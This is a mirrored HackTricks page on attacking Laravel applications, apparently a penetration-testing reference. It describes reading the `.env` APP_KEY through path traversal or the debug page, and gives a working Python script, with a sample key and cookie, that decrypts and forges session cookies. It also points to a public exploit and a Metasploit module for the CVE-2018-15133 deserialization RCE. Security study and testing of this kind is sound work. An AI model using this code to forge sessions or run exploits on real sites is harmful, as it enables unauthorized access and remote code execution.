mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
86 lines
4.2 KiB
Markdown
86 lines
4.2 KiB
Markdown
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# Laravel
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## Laravel Tricks
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### .env
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Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env`
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Laravel will also show this information inside the debug page \(that appears when Laravel finds an error and it's activated\).
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Using the secret APP\_KEY of Laravel you can decrypt and re-encrypt cookies:
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### Decrypt Cookie
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```python
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import os
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import json
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import hashlib
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import sys
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import hmac
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import base64
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import string
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import requests
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from Crypto.Cipher import AES
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from phpserialize import loads, dumps
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#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
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def mcrypt_decrypt(value, iv):
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global key
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AES.key_size = 128
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.decrypt(value)
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def mcrypt_encrypt(value, iv):
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global key
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AES.key_size = 128
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.encrypt(value)
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def decrypt(bstring):
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global key
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dic = json.loads(base64.b64decode(bstring).decode())
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mac = dic['mac']
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value = bytes(dic['value'], 'utf-8')
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iv = bytes(dic['iv'], 'utf-8')
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if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
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return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
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#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
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return ''
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def encrypt(string):
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global key
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iv = os.urandom(16)
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#string = dumps(string)
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padding = 16 - len(string) % 16
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string += bytes(chr(padding) * padding, 'utf-8')
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value = base64.b64encode(mcrypt_encrypt(string, iv))
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iv = base64.b64encode(iv)
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mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
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dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
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return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
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app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
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key = base64.b64decode(app_key)
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decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
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#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
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encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
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```
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### Laravel Deserialization RCE
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Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 \([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)\)
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Here you can find information about the deserialization vulnerability here: [https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
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You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)
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Or you can also exploit it with metasploit: `use unix/http/laravel_token_unserialize_exec`
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